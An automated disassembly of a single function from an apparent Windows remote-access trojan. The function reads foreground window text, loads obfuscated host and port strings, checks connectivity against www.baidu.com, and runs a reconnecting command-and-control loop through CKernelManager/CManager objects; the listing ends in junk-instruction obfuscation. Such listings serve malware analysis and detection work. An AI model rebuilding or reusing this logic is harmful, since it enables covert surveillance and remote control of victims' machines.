Function at 0x1400c145b
Capabilities:
Create thread
Get graphical window text

Disassembly:
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbp + 0x348], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbp + 0x580], rax
mov rcx, qword [rbp + 0x578]
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
nop
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov qword [0x140049660], rax
lea r12, [0x1400498c0]
xor r13d, r13d
lea r15, vtable.CKernelManager.0
lea r14, vtable.CManager.0
nop dword [rax + rax]
mov edx, 0xff
lea rcx, [0x140049680]
cmp byte [0x14004b734], 0
jne 0x14000a786
lea r8, [0x1400466fe]
call fcn.14001d7a0
lea r8, [0x1400468fc]
mov edx, 0x1e
lea rcx, [0x140049880]
call fcn.14001d7a0
lea r8, [0x140046938]
mov edx, 0xff
mov rcx, r12
call fcn.14001d7a0
mov r11d, dword [0x140046b38]
jmp 0x14000a7c5
lea r8, str.722.221.54.83
call fcn.14001d7a0
lea r8, [0x140046d3a]
mov edx, 0x1e
lea rcx, [0x140049880]
call fcn.14001d7a0
lea r8, str.0748ff
mov edx, 0xff
mov rcx, r12
call fcn.14001d7a0
mov r11d, dword [0x140046f74]
cmp byte [0x14004b734], 0
sete byte [0x14004b734]
mov dword [0x140049670], r11d
mov eax, dword [0x14004b738]
inc eax
mov dword [0x14004b738], eax
cmp eax, 0xc8
jne 0x14000a846
lea r8, str.1.0.0.721
lea edx, [rax + 0x37]
lea rcx, [0x140049680]
call fcn.14001d7a0
lea r8, str.0808
mov edx, 0x1e
lea rcx, [0x140049880]
call fcn.14001d7a0
lea r8, str.854856
mov edx, 0xff
mov rcx, r12
call fcn.14001d7a0
mov r11d, dword [0x1400473b0]
mov dword [0x140049670], r11d
mov dword [0x14004b738], r13d
lea rdi, [rbp + 0x590]
lea rax, [rbp + 0x200]
cmp r11d, 1
cmovne rdi, rax
lea rcx, [0x1400473f0]
call fcn.14001e710
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x1400474f5], 0
je 0x14000a886
call fcn.1400042c0
test al, al
jne 0x14000aab0
lea r9, [rbp + 0x910]
mov edx, ntohs
mov r8d, 0x208
mov rcx, qword [0x140049660]
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, [0x140039dc0]
lea rcx, [rbp + 0x910]
call fcn.14001d528
test rax, rax
je 0x14000a942
mov rcx, qword [0x140049660]
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x14000a942
lea r9, [rbp + 0x910]
mov edx, ntohs
mov r8d, 0x208
mov rcx, qword [0x140049660]
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, [0x140039dc0]
lea rcx, [rbp + 0x910]
call fcn.14001d528
test rax, rax
je 0x14000a931
mov rax, qword [rdi]
lea r9, [0x140039bbc]
mov r8d, 0x50
lea rdx, [0x14003a828]
mov rcx, rdi
call qword [rax + 0x20]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x140049660]
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x14000a8d2
mov rbx, qword [rdi]
lea rcx, [0x140049880]
call fcn.14001e710
mov r8d, eax
mov r9, r12
lea rdx, [0x140049680]
mov rcx, rdi
call qword [rbx + 0x20]
test al, al
je 0x14000a730
cvttsd2si edx, qword [rdi + 0x128]
xor r9d, r9d
lea r8, [rbp + 0xb20]
mov rcx, rdi
call fcn.140001ee0
cmp eax, 0xffffffff
jne 0x14000a998
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
jmp 0x14000a730
lea rcx, [0x140049880]
call fcn.14001e710
mov r9d, eax
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r12
mov eax, dword [0x140049670]
mov dword [rsp + 0x20], eax
lea r8, [0x140049680]
mov rdx, rdi
lea rcx, [rsp + 0x60]
call fcn.140007000
nop
mov rax, qword [rdi]
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [rax + 0x18]
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
lea r9, [rsp + 0x60]
lea r8, [0x140002920]
xor edx, edx
xor ecx, ecx
call fcn.14001dc50
mov rsi, rax
mov ebx, r13d
cmp dword [rbp + 0x194], 0
jne 0x14000aa40
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xa
jl 0x14000aa03
cmp dword [rbp + 0x194], 0
jne 0x14000aa40
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
or edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
jmp 0x14000aa78
mov edx, 0x190
mov rcx, qword [rdi + 0x148]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, eax
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
jne 0x14000aa40
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
or edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov rcx, qword [rbp + 0x1a0]
test rcx, rcx
mov qword [rsp + 0x60], r15
je 0x14000aa8f
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [rsp + 0x60], r14
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000a730
mov rax, qword [rdi]
lea r9, [0x140039bbc]
mov r8d, 0x50
lea rdx, str.www.baidu.com
mov rcx, rdi
call qword [rax + 0x20]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000aab0
jne 0x14009cd15
movabs r15, 0x293b6fe544d8545b
push rbx
je 0x14000a6cd
bswap r10
add qword [rsp + 0x18], 0xfffffffffffcd4d2
call fcn.14008f972
mov r11, qword [rsp + 0x70]
xor r13w, word [rsp + 0x79]
xor r15, qword [rsp + 0x78]
test dword [rsp + 0x78], 0x10b7cac
lea r13, [r13 + r13 + 0x685d7b98]
mov r15, qword [rsp + 0x50]
call fcn.1400c0980
pop r10
mov r9, qword [rsp + 0x30]
neg byte [rsp + 0x28]
add dword [rsp + 0x28], 0x7f9e6d49
neg byte [rsp + 0x48]
not word [rsp]
push qword [rsp + 0x38]
popfq
lea rsp, [rsp + 0x50]
ret
mov rdi, qword [rsp + 0x20]
mov rdi, qword [rdi]
jae 0x14009ad2a
setno byte [rsp + 0x40]
xor r9d, esi
add byte [rsp + 0x40], 0x10
not r9d
not r9b
neg sil
lea rdi, [rdi + 0x5cf908fc]
add qword [rsp + 0x10], 0xffffffffbff6f7a5
xor word [rsp + 0x40], 0x296c
cmp sil, byte [rsp + 0x46]
mov qword [rsp + 0x20], r9
xchg qword [rsp + 0x48], rdi
push r9
setge r9b
push r10
and rsi, qword [rsp + 8]
mov r10, r9
xor esi, 0x42e372af
neg r9w
mov rsi, qword [rsp + 0x28]
movzx r10d, r9w
jbe 0x140059567